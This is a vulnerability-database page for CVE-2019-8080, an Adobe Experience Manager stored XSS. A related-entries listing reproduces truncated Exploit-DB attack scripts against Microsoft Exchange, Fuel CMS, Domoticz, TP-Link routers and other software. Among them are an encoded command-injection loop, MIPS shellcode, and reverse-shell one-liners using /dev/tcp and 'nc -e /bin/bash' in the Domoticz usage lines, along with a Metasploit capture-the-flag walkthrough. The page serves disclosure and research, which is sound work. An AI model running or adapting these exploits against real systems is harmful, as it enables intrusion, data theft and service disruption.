CVE-2019-8080
published 2019-10-24CVE-2019-8080: Adobe Experience Manager versions 6.4 and 6.3 have a stored cross site scripting vulnerability. Successful exploitation could lead to privilege escalation.
PriorityP428medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
EPSS
1.77%
75.6th percentile
Adobe Experience Manager versions 6.4 and 6.3 have a stored cross site scripting vulnerability. Successful exploitation could lead to privilege escalation.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adobe | adobe_experience_manager | — | — |
| adobe | experience_manager | — | — |
| adobe | experience_manager | — | — |
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
ghsa9.8CRITICAL
vendor_redhat9.8CRITICAL
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-v47v-44g4-pm6f: Adobe Experience Manager versions 6
ghsa_unreviewed·2022-05-24
CVE-2019-8080 [MEDIUM] CWE-79 GHSA-v47v-44g4-pm6f: Adobe Experience Manager versions 6
Adobe Experience Manager versions 6.4 and 6.3 have a stored cross site scripting vulnerability. Successful exploitation could lead to privilege escalation.
GHSA
Remote code execution in Apache Tapestry
ghsa·2021-06-16·CVSS 9.8
CVE-2021-27850 [CRITICAL] CWE-502 Remote code execution in Apache Tapestry
Remote code execution in Apache Tapestry
A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. An attacker was able to download the file `AppModule.class` by requesting the URL `http://localhost:8080/assets/something/services/AppModule.class` which contains a HMAC secret key. The fix for that bug was a blacklist filter that checks if the URL ends with `.class`, `.properties` or `.xml`. Bypass: Unfortunately, the blacklist solution can simply be bypassed b
Red Hat
heketi: heketi can be installed using insecure defaults
vendor_redhat·2019-04-18·CVSS 9.8
CVE-2019-3899 [CRITICAL] CWE-287 heketi: heketi can be installed using insecure defaults
heketi: heketi can be installed using insecure defaults
It was found that default configuration of Heketi does not require any authentication potentially exposing the management interface to misuse. This isue only affects heketi as shipped with Openshift Container Platform 3.11.
It was found that the default configuration of Heketi does not require any authentication, potentially exposing the Heketi server API to be misused. An unauthenticated attacker could connect remotely to Heketi Server and run arbitrary commands supported by Heketi Server API via Heketi CLI.
Mitigation: After installation of Heketi
1. configure user and admin key in /etc/heketi/heketi.json file
...
{
"_port_comment": "Heketi Server Port Number",
"port": "8080",
"_use_auth": "Enable JWT authorization. Please enable
No detection rules found.
Exploit-DB
Microsoft Exchange 2019 - Unauthenticated Email Download
exploitdb·2021-05-18·CVSS 9.1
CVE-2021-26855 [CRITICAL] Microsoft Exchange 2019 - Unauthenticated Email Download
Microsoft Exchange 2019 - Unauthenticated Email Download
---
# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails
import requests
import argparse
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
__proxies__ = {"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080"} # for debug on proxy
# needs to specifies mailbox, will return folder Id if account exists
payload_get_folder_id = """
AllPro
Exploit-DB
Microsoft Exchange 2019 - Server-Side Request Forgery
exploitdb·2021-03-14
CVE-2021-26855 Microsoft Exchange 2019 - Server-Side Request Forgery
Microsoft Exchange 2019 - Server-Side Request Forgery
---
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if len(sys.argv) ")
print("使用方式: python PoC.py mail.btwaf.cn [email protected]")
exit()
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\\Microsoft\\Exchang
Exploit-DB
Fastweb Fastgate 0.00.81 - Remote Code Execution
exploitdb·2019-11-13
Fastweb Fastgate 0.00.81 - Remote Code Execution
Fastweb Fastgate 0.00.81 - Remote Code Execution
---
# Exploit Title: Fastweb Fastgate 0.00.81 - Remote Code Execution
# Date: 2019-11-13
# Exploit Author: Riccardo Gasparini
# Vendor Homepage: https://www.fastweb.it/
# Software Link: http://59.0.121.191:8080/ACS-server/file/0.00.81_FW_200_Askey (only from Fastweb ISP network)
# Version: 0.00.81
# Tested on: Linux
# CVE : N/A
import requests, json, time, sys
current_milli_time = lambda: int(round(time.time() * 1000))
password='XXXXXXXXXXXXXXX'
if password == 'XXXXXXXXXXXXXXX':
print("Password is set to XXXXXXXXXXXXXXX\nOpen the script and change the password")
sys.exit(-1)
#get XSRF-TOKEN
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
'Referer':
Exploit-DB
Adive Framework 2.0.7 - Privilege Escalation
exploitdb·2019-11-08·CVSS 8.8
CVE-2019-14347 [HIGH] Adive Framework 2.0.7 - Privilege Escalation
Adive Framework 2.0.7 - Privilege Escalation
---
# Exploit Title: Adive Framework 2.0.7 - Privilege Escalation
# Date: 2019-08-02
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows 10
# CVE : CVE-2019-14347
#Exploit
import requests
import sys
session = requests.Session()
http_proxy = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
proxyDict = {
"http" : http_proxy,
"https" : https_proxy
}
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')
print('[+]Login with the correct credentials:' '\n')
user = input('[+]user:')
password = input('
Exploit-DB
fuel CMS 1.4.1 - Remote Code Execution (1)
exploitdb·2019-07-19·CVSS 9.8
CVE-2018-16763 [CRITICAL] fuel CMS 1.4.1 - Remote Code Execution (1)
fuel CMS 1.4.1 - Remote Code Execution (1)
---
# Exploit Title: fuel CMS 1.4.1 - Remote Code Execution (1)
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: = 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = raw_input('cmd:')
burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
proxy = {"http":"http://127.0.0.1:8080"}
r = requests.get(burp0_url, proxies=proxy)
html = ""
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print r.text[0:dup]
Exploit-DB
Domoticz 4.10577 - Unauthenticated Remote Command Execution
exploitdb·2019-04-30·CVSS 9.8
CVE-2019-10678 [CRITICAL] Domoticz 4.10577 - Unauthenticated Remote Command Execution
Domoticz 4.10577 - Unauthenticated Remote Command Execution
---
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# Exploit Title: Unauthenticated Remote Command Execution on Domoticz & /dev/tcp/172.17.0.1/4444 0>&1 &'
# ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &'
import argparse
import requests
import urllib
import base64
import json
import BaseHTTPServer
import zipfile
import thread
# Retrieve data from db with the SQL Injection on the public route
def steal_dbdata(field):
sqlinj = sqlpref % field
urltmp = url_sqlinj + sqlinj
r = session.get(urltmp)
print '[+] %s: %s' % (field,r.text)
return r.text
# Login and return the SID cookie
def dologin(username, password):
url_login_cred = url_login % (username, password)
r = session.get(url_login_cred)
sid = r.h
Exploit-DB
Intelbras IWR 3000N - Denial of Service (Remote Reboot)
exploitdb·2019-04-30·CVSS 7.5
CVE-2019-11415 [HIGH] Intelbras IWR 3000N - Denial of Service (Remote Reboot)
Intelbras IWR 3000N - Denial of Service (Remote Reboot)
---
#/bin/bash
# PoC based on CVE-2019-11415 created by Social Engineering Neo.
#
# Credit: https://1.337.zone/2019/04/08/intelbras-iwr-3000n-any-version-dos-on-malformed-login-request/
#
# A malformed login request allows remote attackers to cause a denial of service (reboot), as demonstrated by JSON misparsing of the \""} string to v1/system/login.
#
# Upgrade to latest firmware version iwr-3000n-1.8.7_0 for 3000n routers to prevent this issue.
clear
read -p "Enter Target Address Followed by Port: " target port # localhost 8080
alive=$(ping -c 1 $target | grep icmp* | wc -l)
if [ "$alive" -eq 0 ]; then
echo Target May be Offline or Blocking ICMP requests.
read -p "Would you Like to Proceed? (Y/n): " ans
if [ "$ans" = 'n' ] || [
Exploit-DB
TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow
exploitdb·2019-04-09
CVE-2019-6989 TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow
TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow
---
#Author Grzegorz Wypych - h0rac
# TP-LINK TL-WR940N/TL-WR941ND buffer overflow remote shell exploit
import requests
import md5
import base64
import string
import struct
import socket
password = md5.new('admin').hexdigest()
cookie = base64.b64encode('admin:'+password)
print '[+] Authorization cookie: ', cookie
print '[+] Login to generate user directory...'
#proxy = {'http':'127.0.0.1:8080'}
loginUrl = 'http://192.168.0.1/userRpm/LoginRpm.htm?Save=Save'
headers = {'cookie':'Authorization=Basic%20'+cookie.replace('=', '%3D')}
req = requests.get(loginUrl, headers=headers)
directory = ''
nop = "\x27\xE0\xFF\xFF"
shellcode = string.join([
"\x24\x0f\xff\xfa", # li t7,-6
"\x01\xe0\x78\x27", # nor t7,t7,zero
"\x21\xe4\xff\xfd", # addi a0
Exploit-DB
ScreenStream 3.0.15 - Denial of Service
exploitdb·2019-02-21
CVE-2019-9833 ScreenStream 3.0.15 - Denial of Service
ScreenStream 3.0.15 - Denial of Service
---
#!/usr/bin/python
#coding: utf-8
# ************************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * ScreenStream 3.0.15 Remote Denial of Service (DoS) *
# ************************************************************************
# Exploit Title: ScreenStream 3.0.15 Remote Denial of Service (DoS)
# Date: 2019-02-21
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: http://mobzapp.com/mirroring/index.html
# Software Link: https://play.google.com/store/apps/details?id=info.dvkr.screenstream&hl=en
# Version: \n"
print "Example: python " + sys.argv[0] + " 192.168.1.125 8080\n"
sys.exit(0)
def startAttack(url):
url_destination = url + '/start-stop'
headers = {'Accept-Encoding':
HackerOne
Docker image with FPM is vulnerable to CVE-2019-11043
hackerone·2020-03-14·CVSS 8.7
CVE-2019-11043 [HIGH] Docker image with FPM is vulnerable to CVE-2019-11043
Docker image with FPM is vulnerable to CVE-2019-11043
The CVE-2019-11043 vulnerability can be exploited in the latest nextcloud:fpm image.
This is due to the specific nginx configuration recommended for nextcloud:
https://github.com/nextcloud/docker#base-version---fpm
https://github.com/nextcloud/documentation/blob/master/admin_manual/installation/nginx.rst
https://github.com/nextcloud/docker/blob/master/.examples/docker-compose/with-nginx-proxy/mariadb/fpm/web/nginx.conf
Here's the exploit: https://github.com/neex/phuip-fpizdam
Sample exploit run:
# ./phuip-fpizdam http://localhost:8080/ocs/v2.php
2019/10/22 19:36:29 Base status code is 200
2019/10/22 19:36:30 Status code 502 for qsl=1765, adding as a candidate
2019/10/22 19:36:31 The target is probably vulnerable. Possible QSLs: [175
Bugzilla
CVE-2019-3899 heketi: heketi can be installed using insecure defaults
bugzilla·2019-04-18·CVSS 9.8
CVE-2019-3899 [CRITICAL] CVE-2019-3899 heketi: heketi can be installed using insecure defaults
CVE-2019-3899 heketi: heketi can be installed using insecure defaults
Heketi is used to manage GlusterFS nodes and volumes. The default configuration of Heketi does not require any authentication potentially exposing the management interface to misuse.
Discussion:
If configuring via the JSON above you also need to set "use_auth" to true.
This differs slightly if you are setting the keys via environment variables as using the env vars will automatically do the equivalent of setting "use_auth" to true.
---
Mitigation:
After installation of Heketi
1. configure user and admin key in /etc/heketi/heketi.json file
...
{
"_port_comment": "Heketi Server Port Number",
"port": "8080",
"_use_auth": "Enable JWT authorization. Please enable for deployment",
"use_auth": true,
"_jwt": "Private ke
CTF
Day-12-Ready,_set,_elf. / README
ctf_writeups·2020·CVSS 8.1
CVE-2019-0232 [HIGH] Day-12-Ready,_set,_elf. / README
# Ready, set, elf.
- What is the version number of the web server?
- `nmap -sV ` (Remember, if it says "host seems down", use `-Pn`, look for what it means)
- `9.0.17`
- What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)
- `msfconsole`
- `search tomcat 9`
- It outputs `exploit/windows/http/tomcat_cgi_cmdlineargs 2019-04-10`. googling then...
- `CVE-2019-0232`
- Set your Metasploit settings appropriately and gain a foothold onto the deployed machine.
no answer needed
- after search, It should outputs only one exploit, anyway use `use 0` if the output is only one, or the appropriate number
- `set RHOSTS `
- `set RPORT 8080`
- `set LHOST `
- `set targeturi /cgi-bin/elfwhacker.bat`
- `run` or `exploit`
- What are the contents of flag1.txt?
-
2019-10-24
Published